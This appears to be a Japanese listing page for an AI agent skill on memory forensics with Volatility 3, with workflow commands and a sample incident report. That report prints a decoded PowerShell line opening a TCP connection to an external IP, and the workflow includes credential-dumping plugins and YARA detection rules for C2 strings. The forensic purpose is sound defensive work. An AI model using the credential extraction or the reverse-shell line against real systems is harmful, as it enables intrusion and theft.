Communitygithub.com

Volatilityによるメモリダンプ分析

侵害されたシステムのRAMメモリダンプをVolatilityフレームワークで分析し、悪意のあるプロセスやファイルレスマルウェアを特定します。

Volatilityによるメモリダンプ分析 とは?

このスキルは、Volatility 3 メモリフォレンジックスフレームワークを使用して、侵害されたシステムのRAMダンプを詳細に分析するためのものです。主な目的は、ファイルレスマルウェア、プロセスインジェクション、ルートキットなど、従来のディスクベースのフォレンジックでは検出が難しい揮発性メモリ内の痕跡を特定することです。対応プラットフォームはWindows、Linux、macOSで、具体的な分析手順として、メモリダンプ内のOSプロファイル特定、プロセス一覧の取得(pslist/pstree/psscan)、不正コードの検出(malfind、hollowfind)、ネットワーク接続の抽出(netscan)、資格情報の抽出(hashdump、lsadump)、YARAルールによるメモリスキャン、タイムライン生成までを網羅しています。このスキルは、Volatilityの主要プラグインを使いこなすための実践的なコマンド例と、結果の解釈に役立つ異常プロセスの兆候リストを提供し、セキュリティアナリストやフォレンジック技術者が迅速かつ正確なインシデント対応を行うための完全なワークフローを実現します。

対応~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/analyzing-memory-dumps-with-volatility

お気に入りのAIに質問する

このエージェントスキルを事前に読み込んだ状態で新しいチャットを開きます。

ドキュメント

Volatilityによるメモリダンプ分析 は何をしますか?

使用すべきケース

  • 侵害されたシステムのRAMがキャプチャされ、マルウェアの痕跡をフォレンジック分析する必要がある場合
  • ディスクに永続的な痕跡を残さず、メモリ内にのみ存在するファイルレスマルウェアを検出する場合
  • プロセスメモリから暗号鍵、パスワード、復号化された設定情報を抽出する場合
  • 侵害されたシステムにおけるプロセスインジェクション、DLLインジェクション、プロセスハロウイングを特定する場合
  • 標準的なディスクベースのフォレンジックツールでは隠蔽されるルートキット活動を分析する場合

使用すべきでないケース: ディスクイメージの分析。ディスクフォレンジックにはAutopsy、FTK、Sleuth Kitを使用してください。

前提条件

  • Volatility 3 がインストールされていること(pip install volatility3)、および対象OSのシンボルテーブルが存在すること
  • 対象システムからメモリダンプファイルが取得されていること(WinPmem、LiME、DumpItを使用)
  • 正しいプロファイル/シンボルを選択するための、ソースOSバージョンの知識
  • 十分なディスク容量(メモリダンプは4~64 GBになる可能性があります)
  • 既知のマルウェアシグネチャをメモリ内でスキャンするためのYARAルール
  • メモリ領域から読み取り可能な文字列を抽出するためのStringsユーティリティ

ワークフロー

ステップ1: メモリダンプのプロファイル特定

メモリダンプからオペレーティングシステムとバージョンを特定します:

# Volatility 3: 自動OS検出
vol3 -f memory.dmp windows.info

# 利用可能なプラグインの一覧表示
vol3 -f memory.dmp --help

# シンボルが必要な場合は、以下からダウンロード:
# https://downloads.volatilityfoundation.org/volatility3/symbols/

# Volatility 2 (レガシー):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan

ステップ2: 実行中のプロセスの列挙

すべてのプロセスをリストアップし、不審なエントリを特定します:

# すべてのプロセスを一覧表示
vol3 -f memory.dmp windows.pslist

# プロセスツリー(親子関係)
vol3 -f memory.dmp windows.pstree

# 隠された/リンク解除されたプロセスをスキャン(ルートキット検出)
vol3 -f memory.dmp windows.psscan

# pslistとpsscanを比較して隠されたプロセスを発見
# psscanにはあるがpslistにはないプロセスは、ルートキットによって隠されている可能性があります

# プロセスハロウイングのチェック
vol3 -f memory.dmp windows.pslist --dump
# その後、ダンプされたEXEがディスク上の期待されるバイナリと一致するか確認します
不審なプロセスの兆候:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe が services.exe によって起動されていない(親が間違っている)
- csrss.exe/lsass.exe に異常な親プロセスがある
- lsass.exe の複数のインスタンス(1つだけであるべき)
- スペルミスのあるプロセス名(scvhost.exe、lssas.exe)
- WINWORD.EXE やブラウザから起動された cmd.exe や powershell.exe
- 異常なパス(%TEMP%、%APPDATA%)から実行されているプロセス
- 親プロセスがない(孤立している - 親が終了している)

ステップ3: 悪意のあるコードインジェクションの検出

注入されたコードとプロセスハロウイングをスキャンします:

# プロセス内の注入コードを検出(malfind)
vol3 -f memory.dmp windows.malfind

# Malfindは以下を探します:
# - PAGE_EXECUTE_READWRITE 保護を持つメモリ領域
# - PEヘッダ(MZ/PEシグネチャ)を含むメモリ領域
# - VAD(仮想アドレス記述子)の異常

# 注入されたメモリ領域をダンプして分析
vol3 -f memory.dmp windows.malfind --dump --pid 2184

# プロセスごとにロードされたDLLを一覧表示
vol3 -f memory.dmp windows.dlllist --pid 2184

# マップされたイメージをディスクと比較してハロウイングされたプロセスを検出
vol3 -f memory.dmp windows.hollowfind

# ロードされたドライバをスキャン(潜在的なルートキットドライバ)
vol3 -f memory.dmp windows.driverscan

# カーネルモジュールの一覧表示
vol3 -f memory.dmp windows.modules

ステップ4: ネットワーク接続の分析

アクティブおよびクローズされたネットワーク接続を抽出します:

# すべてのネットワーク接続を一覧表示(アクティブとリスニング)
vol3 -f memory.dmp windows.netscan

# 出力列: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner

# 外部IPへの確立された接続をフィルタリング
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED

# 古いWindows(XP/2003)の場合:
vol3 -f memory.dmp windows.netstat

# PIDをプロセスリストと相互参照
# 不審: 非標準ポートで外部IPに接続している svchost.exe
# 不審: ネットワーク接続がある notepad.exe や calc.exe

ステップ5: アーティファクトと資格情報の抽出

メモリから機密データを復元します:

# 特定のPIDのプロセスメモリをダンプ
vol3 -f memory.dmp windows.memmap --dump --pid 2184

# コマンドライン履歴を抽出
vol3 -f memory.dmp windows.cmdline

# 環境変数を抽出
vol3 -f memory.dmp windows.envars --pid 2184

# レジストリ分析(永続化のためのRunキーを抽出)
vol3 -f memory.dmp windows.registry.printkey \
  --key "Software\Microsoft\Windows\CurrentVersion\Run"

# ハッシュ化/キャッシュされた資格情報を抽出
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump

# クリップボードの内容を抽出
vol3 -f memory.dmp windows.clipboard

# メモリからのファイル抽出
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560

ステップ6: YARAルールによるメモリスキャン

YARAシグネチャを適用して、メモリ内の既知のマルウェアを検出します:

# YARAルールでメモリダンプ全体をスキャン
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar

# 特定のプロセスメモリをスキャン
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184

# 一般的なパターンに対する組み込みYARAスキャン
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"

# 暗号鍵の素材をスキャン
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"

ステップ7: タイムラインとレポートの生成

分析タイムラインを作成し、調査結果をまとめます:

# 包括的なタイムラインを生成
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv

# タイムラインには以下が含まれます:
# - プロセスの作成/終了時刻
# - ネットワーク接続のタイムスタンプ
# - レジストリ変更時刻
# - ファイルアクセス時刻

# レポート用にプロセスリストをエクスポート
vol3 -f memory.dmp windows.pslist --output csv > processes.csv

# ネットワーク接続をエクスポート
vol3 -f memory.dmp windows.netscan --output csv > network.csv

主要な概念

用語定義
メモリフォレンジックス揮発性メモリ(RAM)の内容を分析し、ディスク上に存在しない可能性のある実行中のプロセス、ネットワーク接続、メモリ内アーティファクトを特定する
プロセスハロウイング正規のプロセスを一時停止状態で作成し、そのメモリを悪意のあるコードで置き換えてから実行を再開するマルウェア手法
Malfind実行可能な権限と非イメージVAD内のPEヘッダを持つメモリ領域を特定することで、注入されたコードを検出するVolatilityプラグイン
VAD(仮想アドレス記述子)プロセスに割り当てられたメモリ領域を追跡するWindowsカーネル構造。VADの異常はインジェクションやハロウイングを示す
EPROCESSプロセスを表すWindowsカーネル構造。ルートキットはEPROCESSエントリのリンクを解除して、標準ツールからプロセスを隠す
プールタグスキャンカーネルオブジェクトのプールタグをスキャンして、リンクが解除されていてもオブジェクト(プロセス、ファイル、接続)を発見するメモリフォレンジックス手法
ファイルレスマルウェアディスクにファイルを作成せず、メモリ内でのみ動作するマルウェア。メモリフォレンジックスでのみ検出可能

ツールとシステム

  • Volatility 3: オープンソースのメモリフォレンジックスフレームワーク。プラグインアーキテクチャによりWindows、Linux、macOSのメモリ分析をサポート
  • WinPmem: Windowsシステム用のメモリ取得ツール。オフライン分析用のRAWメモリダンプを作成
  • LiME(Linux Memory Extractor): Linuxシステムのメモリダンプをキャプチャするためのローダブルカーネルモジュール
  • Rekall: いくつかの独自の分析機能を備えた代替メモリフォレンジックスフレームワーク(開発は終了しているが、まだ有用)
  • MemProcFS: メモリダンプをファイルシステムとしてマウントし、直感的な分析を可能にするメモリプロセスファイルシステム

一般的なシナリオ

シナリオ: EDRアラート後のファイルレスマルウェア検出

コンテキスト: EDRが不審なPowerShellアクティビティを検出したが、脅威アクターがディスク上の痕跡を消去した。システムが再起動される前にメモリダンプがキャプチャされた。分析では、マルウェア、その永続化メカニズム、およびラテラルムーブメントを特定する必要がある。

アプローチ:

  1. windows.pstree を実行してプロセスチェーン(どのプロセスがPowerShellを起動したか)を特定する
  2. windows.malfind を実行して実行中のプロセスに注入されたコードを検出する
  3. 不審なプロセスメモリをダンプし、C2 URLの文字列を抽出する
  4. windows.netscan を実行して、侵害されたプロセスからのネットワーク接続を特定する
  5. windows.cmdline を実行して、PowerShellが実行したコマンドを確認する
  6. ダンプされたプロセスメモリ内の既知のマルウェアファミリをYARAルールでスキャンする
  7. hashdump と lsadump で資格情報を抽出し、ラテラルムーブメントのリスクを評価する

注意点:

  • OSバージョンに対して誤ったシンボルテーブルを使用する(プラグインの失敗や誤った結果を引き起こす)
  • pslist と psscan の出力を比較しない(ルートキットに隠されたプロセスを見逃す)
  • 注入された正規のプロセスを無視する(プロセス名だけでなく、malfindの結果に注目する)
  • 分析を終了する前に完全なプロセスメモリを抽出しない(プロセスダンプからの文字列は追加のIOCを明らかにする可能性がある)

出力形式

メモリフォレンジックス分析レポート
===================================
ダンプファイル:    memory.dmp
ダンプサイズ:      16 GB
OSバージョン:      Windows 10 21H2 (Build 19044)
キャプチャツール:   WinPmem 4.0
キャプチャ時刻:     2025-09-15 14:35:00 UTC

不審なプロセス
PID   PPID  名前              パス                                     異常
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe パスが間違っている
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe      偽のsvchostの子プロセス
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe             PowerShellによって起動

コードインジェクション検出(malfind)
PID 852 (explorer.exe):
  アドレス: 0x00400000  サイズ: 98304  保護: PAGE_EXECUTE_READWRITE
  ヘッダ: MZ(埋め込みPE検出)
  ダンプのSHA-256: abc123def456...

ネットワーク接続
PID   プロセス        ローカル          外部               状態
2184  svchost.exe     10.1.5.42:49152   185.220.101.42:443  ESTABLISHED
4012  powershell.exe  10.1.5.42:49200   91.215.85.17:8080   ESTABLISHED

抽出された資格情報
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

コマンドライン履歴
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  デコード結果: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

YARA一致
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }

タイムライン
14:10:00  svchost.exe (PID 2184) が C:\Users\Admin\AppData\Temp\ から作成されました
14:10:05  185.220.101.42:443 へのネットワーク接続が確立されました
14:12:30  powershell.exe (PID 4012) が svchost.exe によって起動されました
14:15:00  explorer.exe (PID 852) へのコードインジェクションが検出されました
14:20:00  LSASSプロセスからの資格情報ダンプ

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

関連スキル